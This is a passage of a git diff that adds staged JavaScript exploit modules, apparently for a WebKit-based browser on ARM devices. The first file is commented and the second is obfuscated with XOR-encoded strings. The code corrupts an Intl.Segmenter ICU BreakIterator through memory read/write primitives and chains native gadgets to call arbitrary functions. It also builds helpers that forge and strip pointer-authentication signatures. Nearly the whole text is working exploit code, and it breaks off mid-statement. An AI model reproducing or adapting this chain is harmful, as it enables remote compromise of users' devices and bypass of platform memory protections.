pointer + ud: d, // anonymous::begin PAC-signed pointer + dd: I // enet_allocate_packet_payload_default PAC-signed pointer + }, + od: l, // ImageList + Oa: m, // enet gadget call targets {ed, ld} + Id: y, // dyld4 pointer + md: C, // parsed dyld MachOImage + Ja: p, // CFRunLoopObserverCreateWithHandler info + yd: b, // PAC dispatch gadget address + ua: g, // PAC signing vtable base + Ba: { // PAC operation function pointers + pacda: h.pacda, // pacda + autia: h.autia, // autia + pacia: h.pacia, // pacia + autda: h.autda // autda + } + }; + }, + Cd: null, // cached vtable stub buffer + + // ── va: Invoke a function through corrupted Intl.Segmenter iterator ── + // This is the core exploit primitive. It: + // 1. Gets the iterator's internal ICU BreakIterator structure + // 2. Overwrites the BreakIterator's rule table and vtable with fake data + // 3. Chains gadgets so that iterator.next() calls the target function `c` + // with arguments `e`, `l`, `r` + // 4. Calls iterator.next() to trigger the corrupted vtable dispatch + // 5. Reads the return value and restores original state + va(n, t, o, c, e, l, r) { + const i = n[Symbol.iterator](), + a = (() => { + const n = platformModule.platformState.exploitPrimitive.getObjectAddress(i); // addrof(iterator) + return platformModule.platformState.exploitPrimitive.read64(n + j(on.ou)); // inline storage pointer + })(), + s = a + j(on.cu), // ICU BreakIterator + u = platformModule.platformState.exploitPrimitive.read64(a + j(on.eu)), // BreakIterator backing store + d = platformModule.platformState.exploitPrimitive.read64(a + j(on.ru)), // BreakIterator state + I = platformModule.platformState.exploitPrimitive.read64(a + j(on.lu)), // BreakIterator internal data + m = platformModule.platformState.exploitPrimitive.read64(s + j(on.Ku)); // delegate pointer (original vtable) + // Allocate vtable stub buffer (one-time) + null === en.Cd && (en.Cd = platformModule.platformState.exploitPrimitive.allocZeroBuffer(on.Lu)); + const y = en.Cd, + C = platformModule.platformState.exploitPrimitive.read64(u + j(on.au)); // rule table address + { + // ── Corrupt the rule table ────────────────────────────── + const n = platformModule.platformState.exploitPrimitive.read32(C + j(on.su)), // row count + t = platformModule.platformState.exploitPrimitive.read32(C + j(on.uu)), // row size + o = 2 * (on.Xu + platformModule.platformState.exploitPrimitive.read32(C + j(t))), + c = on.fu + o * n; + if (c % 4 != 0) throw new Error("c % 4 != 0"); + // Allocate and copy the rule table + const [e, l] = platformModule.platformState.exploitPrimitive.allocZeroBufferPair(o); + for (let n = 0; n < c; n += 4) platformModule.platformState.exploitPrimitive.write32(l + j(n), platformModule.platformState.exploitPrimitive.read32(C + j(n))); + const r = 2, // flag: word break + i = 4; // flag: sentence break + platformModule.platformState.exploitPrimitive.write32(l + j(on.Iu), i | r); // set break flags + // Zero out all rule rows (force all positions to trigger) + for (let o = 0; o < n; o++) { + const n = l + j(on.mu + t * o); + platformModule.platformState.exploitPrimitive.write32(n, 2); + for (let o = 0; o < t; o++) platformModule.platformState.exploitPrimitive.patchByte(n + j(on.yu + o), 0); + } + // Allocate scratch buffer for call frame + const [b, g] = platformModule.platformState.exploitPrimitive.allocZeroBufferPair(192); + platformModule.platformState.exploitPrimitive.write32(l + j(on.du), 48); + { + // Fill internal data lookup table with sentinel value (160 = 0xA0) + const n = I + j(on.Cu); + for (let t = 0; t < 128; t++) platformModule.platformState.exploitPrimitive.write32(n + j(4 * t), 160); + } + // ── Overwrite ICU BreakIterator pointers ──────────────── + platformModule.platformState.exploitPrimitive.write64(u + j(on.au), l), // replace rule table pointer + platformModule.platformState.exploitPrimitive.write64(a + j(on.iu), g), // replace scratch buffer pointer + platformModule.platformState.exploitPrimitive.write32(d + j(on.bu), 8589934591 /* 0x1FFFFFFFF — max status value */), + platformModule.platformState.exploitPrimitive.write32(s + j(on.hu), 160); // set position to 160 (0xA0) + // Copy vtable stub: redirect virtual dispatch to our gadget chain + for (let n = 0; n < on.Lu; n += 4) platformModule.platformState.exploitPrimitive.write32(y + j(n), platformModule.platformState.exploitPrimitive.read32(m) + n); + } + const b = { + bd: null, // saved enet gadget target 1 + gd: null // saved enet gadget target 2 + }; + let g; + // ── Build fake call frames (chained objects) ──────────────── + // These simulate C++ object layouts that the gadgets expect, + // allowing us to control the arguments passed to the target function. + const h = { // Frame A layout + hd: 8, // pointer to next frame + pd: 32, // function pointer slot + Kd: 48 // secondary pointer + }, + p = 56, // Frame A total size + K = { // Frame B layout + Ld: 16 // return value slot + }, + L = 24, // Frame B total size + X = { // Frame C layout + hd: 72 // pointer to next frame + }, + f = 80, // Frame C total size + _ = { // Frame D layout + hd: 8, // pointer to arg + pd: 16, // function pointer + Xd: 48 // context/extra arg + }, + M = 56, // Frame D total size + T = platformModule.platformState.exploitPrimitive.allocZeroBuffer(p), // allocate Frame A1 + x = platformModule.platformState.exploitPrimitive.allocZeroBuffer(p), // allocate Frame A2 + k = platformModule.platformState.exploitPrimitive.allocZeroBuffer(L), // allocate Frame B (return value) + G = platformModule.platformState.exploitPrimitive.allocZeroBuffer(f), // allocate Frame C + D = platformModule.platformState.exploitPrimitive.allocZeroBuffer(M), // allocate Frame D + { + Ua: w, // _xmlSAX2GetPublicId vtable pointer + sd: S, // _autohinter_iterator_end gadget + ud: A, // anonymous::begin gadget + dd: Z // enet gadget + } = t; + // ── Wire up the gadget chain ──────────────────────────────── + // Overwrite vtable dispatch target to point through our chain: + // vtable -> S (autohinter_iterator_end) -> A (begin) -> Z (enet) -> target function + platformModule.platformState.exploitPrimitive.write64(y + j(on.Hu), S), // vtable[dispatch] = autohinter_iterator_end + platformModule.platformState.exploitPrimitive.write64(s + j(on.Ku), y), // delegate = fake vtable + platformModule.platformState.exploitPrimitive.write64(s + j(on.gu), T), // fake vtable pointer for position check + platformModule.platformState.exploitPrimitive.write64(k + j(K.Ld), 0x3333deadn), // sentinel in return slot + platformModule.platformState.exploitPrimitive.write64(T + j(h.hd), k), // Frame A1 -> Frame B + platformModule.platformState.exploitPrimitive.write64(T + j(h.Kd), x), // Frame A1 -> Frame A2 + platformModule.platformState.exploitPrimitive.write64(T + j(h.pd), Z), // Frame A1: function = enet gadget + b.bd = platformModule.platformState.exploitPrimitive.read64(o.ed), // save original enet target 1 + b.gd = platformModule.platformState.exploitPrimitive.read64(o.ld), // save original enet target 2 + platformModule.platformState.exploitPrimitive.write64(o.ed, S), // enet target 1 = autohinter_iterator_end + platformModule.platformState.exploitPrimitive.write64(o.ld, w), // enet target 2 = vtable pointer + platformModule.platformState.exploitPrimitive.write64(x + j(h.hd), G), // Frame A2 -> Frame C + platformModule.platformState.exploitPrimitive.write64(x + j(h.Kd), l), // Frame A2: extra arg = l + platformModule.platformState.exploitPrimitive.write64(x + j(h.pd), A), // Frame A2: function = begin gadget + platformModule.platformState.exploitPrimitive.write64(G + j(X.hd), D), // Frame C -> Frame D + platformModule.platformState.exploitPrimitive.write64(D + j(_.hd), e), // Frame D: arg1 = e + platformModule.platformState.exploitPrimitive.write64(D + j(_.Xd), r), // Frame D: arg3 = r + platformModule.platformState.exploitPrimitive.write64(D + j(_.pd), c); // Frame D: function = target function c + // ── Trigger the corrupted vtable dispatch ─────────────────── + // Calling iterator.next() invokes the BreakIterator's virtual handleNext(), + // which now dispatches through our gadget chain to call function `c(e, l, r)`. + try { + i.next().value; + } finally { + // ── Read return value and restore everything ──────────── + g = platformModule.platformState.exploitPrimitive.read64(k + j(K.Ld)), // read return value from Frame B + platformModule.platformState.exploitPrimitive.write64(o.ed, b.bd), // restore enet target 1 + platformModule.platformState.exploitPrimitive.write64(o.ld, b.gd), // restore enet target 2 + platformModule.platformState.exploitPrimitive.write64(u + j(on.au), C), // restore rule table + platformModule.platformState.exploitPrimitive.write64(a + j(on.iu), 0x0n), // clear scratch buffer + platformModule.platformState.exploitPrimitive.write64(s + j(on.Ku), m); // restore original vtable + } + return void 0 === g && W(), g; // assert return value is defined + } +}; + +// ════════════════════════════════════════════════════════════════════════════ +// Module exports +// ════════════════════════════════════════════════════════════════════════════ + +return r; \ No newline at end of file diff --git a/Stage2_16.6_16.7.12_seedbell.js b/Stage2_16.6_16.7.12_seedbell.js new file mode 100644 index 0000000..03a5879 --- /dev/null +++ b/Stage2_16.6_16.7.12_seedbell.js @@ -0,0 +1,415 @@ +let r = {}; +const x = globalThis.moduleManager.getModuleByName([113, 115, 114, 118, 116, 118, 116, 114, 32, 114, 118, 116, 115, 125, 38, 37, 37, 32, 116, 33, 113, 115, 33, 114, 32, 125, 33, 39, 125, 119, 117, 118, 116, 39, 116, 34, 113, 118, 112, 115].map((x) => { + return String.fromCharCode(x ^ 68); + }).join("")), + P = globalThis.moduleManager.getModuleByName([88, 93, 95, 95, 80, 10, 8, 90, 11, 88, 92, 88, 80, 11, 8, 91, 8, 81, 15, 93, 89, 11, 12, 91, 81, 94, 15, 95, 93, 95, 13, 93, 13, 94, 92, 80, 90, 12, 11, 89].map((x) => { + return String.fromCharCode(x ^ 105); + }).join("")), + { + N: G, + tn: W, + nn: C, + Vt: m, + U: j, + An: S, + vn: O, + T: l, + v: o, + I: u, + B: s, + K: R, + O: K + } = globalThis.moduleManager.getModuleByName([93, 95, 94, 90, 88, 90, 88, 94, 12, 94, 90, 88, 95, 81, 10, 9, 9, 12, 88, 13, 93, 95, 13, 94, 12, 81, 13, 11, 81, 91, 89, 90, 88, 11, 88, 14, 93, 90, 92, 95].map((x) => { + return String.fromCharCode(x ^ 104); + }).join("")); +r.ga = function () { + P.platformState.exploitPrimitive, P.platformState.Dn; + const t = new ht(); + return new bt(t); +}; +class bt { + constructor(t) { + this.tb = t, this.cc = !0, this.La = this.tb.La, this.Ga = this.tb.Ga, this.Xa = this.tb.Xa, this.Ma = this.tb.Ma; + } + pacda(t, a) { + return x.Int64.fromBigInt(this.tb.pacda(t.Nt(), a.Nt())); + } + pacia(t, a) { + return x.Int64.fromBigInt(this.tb.pacia(t.Nt(), a.Nt())); + } + autda(t, a) { + return x.Int64.fromBigInt(this.tb.autda(t.Nt(), a.Nt())); + } + autia(t, a) { + return x.Int64.fromBigInt(this.tb.autia(t.Nt(), a.Nt())); + } + tc(t, a, s) { + return x.Int64.fromBigInt(this.tb.Wn.call({ + ab: t.Nt(), + sb: a.Nt(), + x1: s.Nt(), + x2: j(0), + ib: j(0), + bb: j(0) + })); + } +} +class ht { + constructor() { + const t = P.platformState.Dn; + P.platformState.exploitPrimitive; + this.Dn = { + _a: t.nl._a + }, this.Wn = new _t(), this.eb = new ft(), this.hb = { + lb: this.eb.call({ + ab: this.Dn._a + }) + }; + { + const a = t.nl.fa; + let s = 0x10n, + i = [4294967296 + (1450143794 ^ -59804733), 4294967296 + (1899192132 ^ -616866636), 4294967296 + (910970458 ^ -481333435), 1967346791 ^ 1631802475, 4294967296 + (1098472013 ^ -344368708), 4294967296 + (1294807873 ^ -416993103), 4294967296 + (2021087605 ^ -1565109404), 1145260849 ^ 1346587449, 4294967296 + (1600931170 ^ -177453421), 4294967296 + (1635151411 ^ -880906813), 4294967296 + (1432839029 ^ -2140913110), 963209802 ^ 761883214, 4294967296 + (1898786936 ^ -617794679), 4294967296 + (861296482 ^ -1721871214), 4294967296 + (829114421 ^ -341162460), 4294967296 + (929134714 ^ -1653572710), 4294967296 + (1682923826 ^ -1307548942)], + b = null; + const e = (s) => t.rl.Kl(a, i, s); + for (;;) { + if (b = e(b), null === b) return null; + if (b !== this.Dn._a) break; + b += j(0x4n * i.length); + } + if (null === b) return null; + this.La = m.ot(b), this.Ga = m.ot(b + 1n * s), this.Xa = m.ot(b + 2n * s), this.Ma = m.ot(b + 3n * s); + } + } + nb(t, a, s) { + P.platformState.Dn, P.platformState.exploitPrimitive; + return this.Wn.call({ + ab: this.hb.lb, + sb: a, + x1: s & j(0xffffffffffff), + x2: 1n, + ib: s >> 48n & 0xFFFFn, + bb: j(t) + }); + } + pacda(t, a) { + return this.nb(0, t, a); + } + pacia(t, a) { + return this.nb(1, t, a); + } + autia(t, a) { + return this.nb(2, t, a); + } + autda(t, a) { + return this.nb(3, t, a); + } +} +class ft { + constructor() { + const t = P.platformState.Dn, + a = P.platformState.exploitPrimitive; + this.ob = new Tt(), this.hb = { + cb: this.ob.rb([8, 29, 28, 56, 17, 3, 24, 35, 19, 17, 30, 54, 5, 28, 28].map((x) => { + return String.fromCharCode(x ^ 112); + }).join("")), + $l: t.nl.$l, + fb: this.ob.rb([57, 60, 40, 15, 20, 54, 21, 21, 10, 53, 24, 9, 31, 8, 12, 31, 8, 57, 8, 31, 27, 14, 31, 45, 19, 14, 18, 50, 27, 20, 30, 22, 31, 8].map((x) => { + return String.fromCharCode(x ^ 122); + }).join("")), + Zl: t.nl.Zl + }; + const s = S(this.hb.fb), + i = t.rl.Ml(s, 911422819 ^ 911422947); + if (4 !== i.length) throw new Error("4 !== i.length"); + this.Dn = { + qa: i[1], + $a: i[2] + }, this.ub = a.allocZeroBuffer(32), this._b = a.allocZeroBuffer(48), this.Tb = a.allocZeroBuffer(1666085986 ^ 1666086754), this.gb = new dt(); + } + call(t) { + let a = 0; + P.platformState.Dn; + const s = P.platformState.exploitPrimitive, + i = [ + [this.ub, [ + [0, this._b], + [8, 1], + [12, 1]]], + + [this._b, [ + [0, 0], + [8, 0], + [16, 0], + [24, 0], + [32, this.Tb], + [40, 1]]], + + [this.Tb, [ + [64, 0], + [24, 0], + [1110455119 ^ 1110455095, 0], + [846681714 ^ 846681946, 0], + [1431400566 ^ 1431400774, 0], + [1752527982 ^ 1752528214, 0], + [1632580978 ^ 1632580650, 0], + [1145787187 ^ 1145786955, this.hb.fb], + [1347252793 ^ 1347252913, 0], + [910898992 ^ 910898864, 0], + [1883468367 ^ 1883468743, 0], + [1731751514 ^ 1731751882, 0]]]]; + + + for (const [t, a] of i) + for (let [i, b] of a) null == b && (b = 0x0n), s.write64(j(t) + j(i), j(b)); + const b = s.read64(this.Dn.qa), + e = s.read64(this.Dn.$a); + try { + s.write64(this.Dn.qa, S(this.hb.Zl)), s.write64(this.Dn.$a, t.ab); + const i = this.gb.call({ + ab: this.hb.cb, + sb: this.ub, + x1: this.hb.$l, + x2: 0x0n + }); + a = s.read64(i + 0x90n); + } finally { + s.write64(this.Dn.qa, b), s.write64(this.Dn.$a, e); + } + return a; + } +} +class dt { + constructor() { + const t = P.platformState.Dn, + a = P.platformState.exploitPrimitive; + this.Dn = { + Zl: t.nl.Zl, + ql: t.nl.ql, + Yl: t.nl.Yl, + Wl: t.nl.Wl, + $l: t.nl.$l, + Ql: t.nl.Ql, + ra: t.nl.ra + }, this.xb = a.allocZeroBuffer(80), this.pb = a.allocZeroBuffer(80), this.wb = a.allocZeroBuffer(80), this.Tb = a.allocZeroBuffer(1095919665 ^ 1095920433), this.zb = a.allocZeroBuffer(80), this.Pb = new ut(); + } + call(t) { + P.platformState.Dn; + const a = P.platformState.exploitPrimitive, + s = [ + [this.wb, [ + [32, this.Dn.ql], + [8, this.zb], + [48, this.Tb]]], + + [this.zb, [ + [16, j(7444609979)]]], + + [this.Tb, [ + [64, 0], + [24, 0], + [1634037332 ^ 1634037292, 0], + [861419615 ^ 861419895, 0], + [1333423928 ^ 1333423624, 0], + [1416380756 ^ 1416380524, 0], + [1416902487 ^ 1416902159, 0], + [1869759335 ^ 1869759007, this.Dn.Ql], + [2020692851 ^ 2020692987, 0], + [812332889 ^ 812332761, t.x1], + [1430803795 ^ 1430803675, this.xb], + [1180129626 ^ 1180129482, j(1733506371 ^ 2074081679)]]], + + [this.xb, [ + [16, t.ab], + [8, t.sb], + [48, t.x2]]]]; + + + for (const [t, i] of s) + for (let [s, b] of i) null == b && (b = 0x0n), a.write64(j(t) + j(s), j(b)); + const i = a.read64(this.Dn.Yl), + b = a.read64(this.Dn.Wl); + try { + a.write64(this.Dn.Yl, this.Dn.$l), a.write64(this.Dn.Wl, this.Dn.Zl), this.Pb.call(this.Dn.ra, this.wb); + } finally { + a.write64(this.Dn.Yl, i), a.write64(this.Dn.Wl, b); + } + return a.read64(this.zb + 0x10n); + } +} +class ut { + constructor() { + const t = P.platformState.exploitPrimitive, + a = new Intl.Segmenter("en", { + Pa: [61, 43, 32, 58, 43, 32, 45, 43].map((x) => { + return String.fromCharCode(x ^ 78); + }).join("") + }), + s = []; + for (let t = 0; t < (1366587205 ^ 1366586985); t++) s.push("a"); + const i = s.join(" "); + a.segment(i); + this.yb = a, this.Fb = a.segment(i), this.Cd = t.allocZeroBuffer(globalThis.moduleManager.getModuleByName([4, 1, 3, 3, 12, 86, 84, 6, 87, 4, 0, 4, 12, 87, 84, 7, 84, 13, 83, 1, 5, 87, 80, 7, 13, 2, 83, 3, 1, 3, 81, 1, 81, 2, 0, 12, 6, 80, 87, 5].map((x) => { + return String.fromCharCode(x ^ 53); + }).join("")).platformState.versionFlags.NfRtuR); + } + call(t, a) { + const s = P.platformState.exploitPrimitive, + i = this.Fb[Symbol.iterator](), + b = (() => { + const t = s.getObjectAddress(i); + return s.read64(t + j(globalThis.moduleManager.getModuleByName([124, 121, 123, 123, 116, 46, 44, 126, 47, 124, 120, 124, 116, 47, 44, 127, 44, 117, 43, 121, 125, 47, 40, 127, 117, 122, 43, 123, 121, 123, 41, 121, 41, 122, 120, 116, 126, 40, 47, 125].map((x) => { + return String.fromCharCode(x ^ 77); + }).join("")).platformState.versionFlags.jtUNKB)); + })(), + e = b + j(globalThis.moduleManager.getModuleByName([112, 117, 119, 119, 120, 34, 32, 114, 35, 112, 116, 112, 120, 35, 32, 115, 32, 121, 39, 117, 113, 35, 36, 115, 121, 118, 39, 119, 117, 119, 37, 117, 37, 118, 116, 120, 114, 36, 35, 113].map((x) => { + return String.fromCharCode(x ^ 65); + }).join("")).platformState.versionFlags.MJf4mX), + h = s.read64(b + j(globalThis.moduleManager.getModuleByName([103, 98, 96, 96, 111, 53, 55, 101, 52, 103, 99, 103, 111, 52, 55, 100, 55, 110, 48, 98, 102, 52, 51, 100, 110, 97, 48, 96, 98, 96, 50, 98, 50, 97, 99, 111, 101, 51, 52, 102].map((x) => { + return String.fromCharCode(x ^ 86); + }).join("")).platformState.versionFlags.zPL1kr)), + l = s.read64(b + j(globalThis.moduleManager.getModuleByName([118, 115, 113, 113, 126, 36, 38, 116, 37, 118, 114, 118, 126, 37, 38, 117, 38, 127, 33, 115, 119, 37, 34, 117, 127, 112, 33, 113, 115, 113, 35, 115, 35, 112, 114, 126, 116, 34, 37, 119].map((x) => { + return String.fromCharCode(x ^ 71); + }).join("")).platformState.versionFlags.ga3074)), + n = s.read64(b + j(globalThis.moduleManager.getModuleByName([75, 78, 76, 76, 67, 25, 27, 73, 24, 75, 79, 75, 67, 24, 27, 72, 27, 66, 28, 78, 74, 24, 31, 72, 66, 77, 28, 76, 78, 76, 30, 78, 30, 77, 79, 67, 73, 31, 24, 74].map((x) => { + return String.fromCharCode(x ^ 122); + }).join("")).platformState.versionFlags.yjShKn)), + o = s.read64(e + j(globalThis.moduleManager.getModuleByName([86, 83, 81, 81, 94, 4, 6, 84, 5, 86, 82, 86, 94, 5, 6, 85, 6, 95, 1, 83, 87, 5, 2, 85, 95, 80, 1, 81, 83, 81, 3, 83, 3, 80, 82, 94, 84, 2, 5, 87].map((x) => { + return String.fromCharCode(x ^ 103); + }).join("")).platformState.versionFlags.OaAnPR)), + c = s.read64(h + j(globalThis.moduleManager.getModuleByName([126, 123, 121, 121, 118, 44, 46, 124, 45, 126, 122, 126, 118, 45, 46, 125, 46, 119, 41, 123, 127, 45, 42, 125, 119, 120, 41, 121, 123, 121, 43, 123, 43, 120, 122, 118, 124, 42, 45, 127].map((x) => { + return String.fromCharCode(x ^ 79); + }).join("")).platformState.versionFlags.PCsIV0)), + r = s.read64(b + j(globalThis.moduleManager.getModuleByName([102, 99, 97, 97, 110, 52, 54, 100, 53, 102, 98, 102, 110, 53, 54, 101, 54, 111, 49, 99, 103, 53, 50, 101, 111, 96, 49, 97, 99, 97, 51, 99, 51, 96, 98, 110, 100, 50, 53, 103].map((x) => { + return String.fromCharCode(x ^ 87); + }).join("")).platformState.versionFlags.oHmyQl)); + { + const t = s.read32(c + j(globalThis.moduleManager.getModuleByName([91, 94, 92, 92, 83, 9, 11, 89, 8, 91, 95, 91, 83, 8, 11, 88, 11, 82, 12, 94, 90, 8, 15, 88, 82, 93, 12, 92, 94, 92, 14, 94, 14, 93, 95, 83, 89, 15, 8, 90].map((x) => { + return String.fromCharCode(x ^ 106); + }).join("")).platformState.versionFlags.vnu2oq)), + a = s.read32(c + j(globalThis.moduleManager.getModuleByName([127, 122, 120, 120, 119, 45, 47, 125, 44, 127, 123, 127, 119, 44, 47, 124, 47, 118, 40, 122, 126, 44, 43, 124, 118, 121, 40, 120, 122, 120, 42, 122, 42, 121, 123, 119, 125, 43, 44, 126].map((x) => { + return String.fromCharCode(x ^ 78); + }).join("")).platformState.versionFlags.attyap)), + i = 2 * (globalThis.moduleManager.getModuleByName([123, 126, 124, 124, 115, 41, 43, 121, 40, 123, 127, 123, 115, 40, 43, 120, 43, 114, 44, 126, 122, 40, 47, 120, 114, 125, 44, 124, 126, 124, 46, 126, 46, 125, 127, 115, 121, 47, 40, 122].map((x) => { + return String.fromCharCode(x ^ 74); + }).join("")).platformState.versionFlags.DjRSp0 + s.read32(c + j(a))), + r = globalThis.moduleManager.getModuleByName([97, 100, 102, 102, 105, 51, 49, 99, 50, 97, 101, 97, 105, 50, 49, 98, 49, 104, 54, 100, 96, 50, 53, 98, 104, 103, 54, 102, 100, 102, 52, 100, 52, 103, 101, 105, 99, 53, 50, 96].map((x) => { + return String.fromCharCode(x ^ 80); + }).join("")).platformState.versionFlags.LVt9Wy + i * t; + if (r % 4 != 0) throw new Error("r % 4 != 0"); + const [f, d] = s.allocZeroBufferPair(i); + for (let t = 0; t < r; t += 4) s.write32(d + j(t), s.read32(c + j(t))); + const u = 2, + _ = 4; + s.write32(d + j(globalThis.moduleManager.getModuleByName([93, 88, 90, 90, 85, 15, 13, 95, 14, 93, 89, 93, 85, 14, 13, 94, 13, 84, 10, 88, 92, 14, 9, 94, 84, 91, 10, 90, 88, 90, 8, 88, 8, 91, 89, 85, 95, 9, 14, 92].map((x) => { + return String.fromCharCode(x ^ 108); + }).join("")).platformState.versionFlags.pUvASJ), _ | u); + for (let i = 0; i < t; i++) { + const t = d + j(globalThis.moduleManager.getModuleByName([71, 66, 64, 64, 79, 21, 23, 69, 20, 71, 67, 71, 79, 20, 23, 68, 23, 78, 16, 66, 70, 20, 19, 68, 78, 65, 16, 64, 66, 64, 18, 66, 18, 65, 67, 79, 69, 19, 20, 70].map((x) => { + return String.fromCharCode(x ^ 118); + }).join("")).platformState.versionFlags.sMuYjH + a * i); + s.write32(t, 2); + for (let i = 0; i < a; i++) s.patchByte(t + j(globalThis.moduleManager.getModuleByName([89, 92, 94, 94, 81, 11, 9, 91, 10, 89, 93, 89, 81, 10, 9, 90, 9, 80, 14, 92, 88, 10, 13, 90, 80, 95, 14, 94, 92, 94, 12, 92, 12, 95, 93, 81, 91, 13, 10, 88].map((x) => { + return String.fromCharCode(x ^ 104); + }).join("")).platformState.versionFlags.KSrWFg + i), 0); + } + const [T, g] = s.allocZeroBufferPair(963658290 ^ 963658482); + s.write32(d + j(globalThis.moduleManager.getModuleByName([86, 83, 81, 81, 94, 4, 6, 84, 5, 86, 82, 86, 94, 5, 6, 85, 6, 95, 1, 83, 87, 5, 2, 85, 95, 80, 1, 81, 83, 81, 3, 83, 3, 80, 82, 94, 84, 2, 5, 87].map((x) => { + return String.fromCharCode(x ^ 103); + }).join("")).platformState.versionFlags.FGsnBi), 48); + { + const t = n + j(globalThis.moduleManager.getModuleByName([110, 107, 105, 105, 102, 60, 62, 108, 61, 110, 106, 110, 102, 61, 62, 109, 62, 103, 57, 107, 111, 61, 58, 109, 103, 104, 57, 105, 107, 105, 59, 107, 59, 104, 106, 102, 108, 58, 61, 111].map((x) => { + return String.fromCharCode(x ^ 95); + }).join("")).platformState.versionFlags.msD22k); + for (let a = 0; a < (2037665391 ^ 2037665519); a++) s.write32(t + j(4 * a), 1985627949 ^ 1985628045); + } + s.write64(h + j(globalThis.moduleManager.getModuleByName([114, 119, 117, 117, 122, 32, 34, 112, 33, 114, 118, 114, 122, 33, 34, 113, 34, 123, 37, 119, 115, 33, 38, 113, 123, 116, 37, 117, 119, 117, 39, 119, 39, 116, 118, 122, 112, 38, 33, 115].map((x) => { + return String.fromCharCode(x ^ 67); + }).join("")).platformState.versionFlags.PCsIV0), d), s.write64(b + j(globalThis.moduleManager.getModuleByName([3, 6, 4, 4, 11, 81, 83, 1, 80, 3, 7, 3, 11, 80, 83, 0, 83, 10, 84, 6, 2, 80, 87, 0, 10, 5, 84, 4, 6, 4, 86, 6, 86, 5, 7, 11, 1, 87, 80, 2].map((x) => { + return String.fromCharCode(x ^ 50); + }).join("")).platformState.versionFlags.oHmyQl), g), s.write32(l + j(globalThis.moduleManager.getModuleByName([123, 126, 124, 124, 115, 41, 43, 121, 40, 123, 127, 123, 115, 40, 43, 120, 43, 114, 44, 126, 122, 40, 47, 120, 114, 125, 44, 124, 126, 124, 46, 126, 46, 125, 127, 115, 121, 47, 40, 122].map((x) => { + return String.fromCharCode(x ^ 74); + }).join("")).platformState.versionFlags.LM9blg), 4294967296 + (1381263994 ^ -1381263995)), s.write32(e + j(globalThis.moduleManager.getModuleByName([84, 81, 83, 83, 92, 6, 4, 86, 7, 84, 80, 84, 92, 7, 4, 87, 4, 93, 3, 81, 85, 7, 0, 87, 93, 82, 3, 83, 81, 83, 1, 81, 1, 82, 80, 92, 86, 0, 7, 85].map((x) => { + return String.fromCharCode(x ^ 101); + }).join("")).platformState.versionFlags.TLJcwX), 964121976 ^ 964122072); + for (let t = 0; t < globalThis.moduleManager.getModuleByName([110, 107, 105, 105, 102, 60, 62, 108, 61, 110, 106, 110, 102, 61, 62, 109, 62, 103, 57, 107, 111, 61, 58, 109, 103, 104, 57, 105, 107, 105, 59, 107, 59, 104, 106, 102, 108, 58, 61, 111].map((x) => { + return String.fromCharCode(x ^ 95); + }).join("")).platformState.versionFlags.NfRtuR; t += 4) s.write32(this.Cd + j(t), s.read32(o) + t); + } + s.write64(e + j(globalThis.moduleManager.getModuleByName([97, 100, 102, 102, 105, 51, 49, 99, 50, 97, 101, 97, 105, 50, 49, 98, 49, 104, 54, 100, 96, 50, 53, 98, 104, 103, 54, 102, 100, 102, 52, 100, 52, 103, 101, 105, 99, 53, 50, 96].map((x) => { + return String.fromCharCode(x ^ 80); + }).join("")).platformState.versionFlags.OaAnPR), this.Cd); + try { + s.write64(this.Cd + j(globalThis.moduleManager.getModuleByName([127, 122, 120, 120, 119, 45, 47, 125, 44, 127, 123, 127, 119, 44, 47, 124, 47, 118, 40, 122, 126, 44, 43, 124, 118, 121, 40, 120, 122, 120, 42, 122, 42, 121, 123, 119, 125, 43, 44, 126].map((x) => { + return String.fromCharCode(x ^ 78); + }).join("")).platformState.versionFlags.qRQJn0), t), s.write64(e + j(globalThis.moduleManager.getModuleByName([70, 67, 65, 65, 78, 20, 22, 68, 21, 70, 66, 70, 78, 21, 22, 69, 22, 79, 17, 67, 71, 21, 18, 69, 79, 64, 17, 65, 67, 65, 19, 67, 19, 64, 66, 78, 68, 18, 21, 71].map((x) => { + return String.fromCharCode(x ^ 119); + }).join("")).platformState.versionFlags.SAobkS), a), i.next().value; + } finally { + s.write64(e + j(globalThis.moduleManager.getModuleByName([123, 126, 124, 124, 115, 41, 43, 121, 40, 123, 127, 123, 115, 40, 43, 120, 43, 114, 44, 126, 122, 40, 47, 120, 114, 125, 44, 124, 126, 124, 46, 126, 46, 125, 127, 115, 121, 47, 40, 122].map((x) => { + return String.fromCharCode(x ^ 74); + }).join("")).platformState.versionFlags.OaAnPR), o), s.write64(b + j(globalThis.moduleManager.getModuleByName([82, 87, 85, 85, 90, 0, 2, 80, 1, 82, 86, 82, 90, 1, 2, 81, 2, 91, 5, 87, 83, 1, 6, 81, 91, 84, 5, 85, 87, 85, 7, 87, 7, 84, 86, 90, 80, 6, 1, 83].map((x) => { + return String.fromCharCode(x ^ 99); + }).join("")).platformState.versionFlags.oHmyQl), r); + } + } +} +class _t { + constructor() { + P.platformState.Dn; + const t = P.platformState.exploitPrimitive; + this.ob = new Tt(), this.hb = { + cb: this.ob.rb([29, 8, 9, 45, 4, 22, 13, 54, 6, 4, 11, 35, 16, 9, 9].map((x) => { + return String.fromCharCode(x ^ 101); + }).join("")) + }, this.ub = t.allocZeroBuffer(32), this._b = t.allocZeroBuffer(48), this.gb = new dt(); + } + call(t) { + P.platformState.Dn; + const a = P.platformState.exploitPrimitive; + if (0x0n === t.sb) throw new Error("0x0n === t.sb"); + const s = [ + [this.ub, [ + [0, this._b], + [8, 1], + [12, 1]]], + + [this._b, [ + [0, 0], + [8, t.x2], + [16, t.ib], + [24, t.bb], + [32, t.sb], + [40, 1]]]]; + + + for (const [t, i] of s) + for (let [s, b] of i) null == b && (b = 0x0n), a.write64(j(t) + j(s), j(b)); + return this.gb.call({ + ab: this.hb.cb, + sb: this.ub, + x1: t.ab, + x2: t.x1 + }); + } +} +class Tt { + constructor() { + const t = P.platformState.Dn; + P.platformState.exploitPrimitive; + this.hb = { + ba: t.nl.ba + }, this.gb = new dt(); + } + rb(t) { + P.platformState.Dn; + const a = P.platformState.exploitPrimitive, + [s, i] = a.allocCString(t); + return this.gb.call({ + ab: this.hb.ba, + sb: i, + x1: 0x0n, + x2: 0x0n + }); + } +} +return r; \ No newline at end of file diff --git a/Stage2_16.6_17.2.1_seedbell_pre.js b/Stage2_16.6_17.2.1_seedbell_pre.js new file mode 100644 index 0000000..c98870e --- /dev/null +++ b/Stage2_16.6_17.2.1_seedbell_pre.js @@ -0,0 +1,640 @@ +let r = {}; +globalThis.moduleManager.getModuleByName("57620206d62079baad0e57e6d9ec93120c0f5247"); +const P = 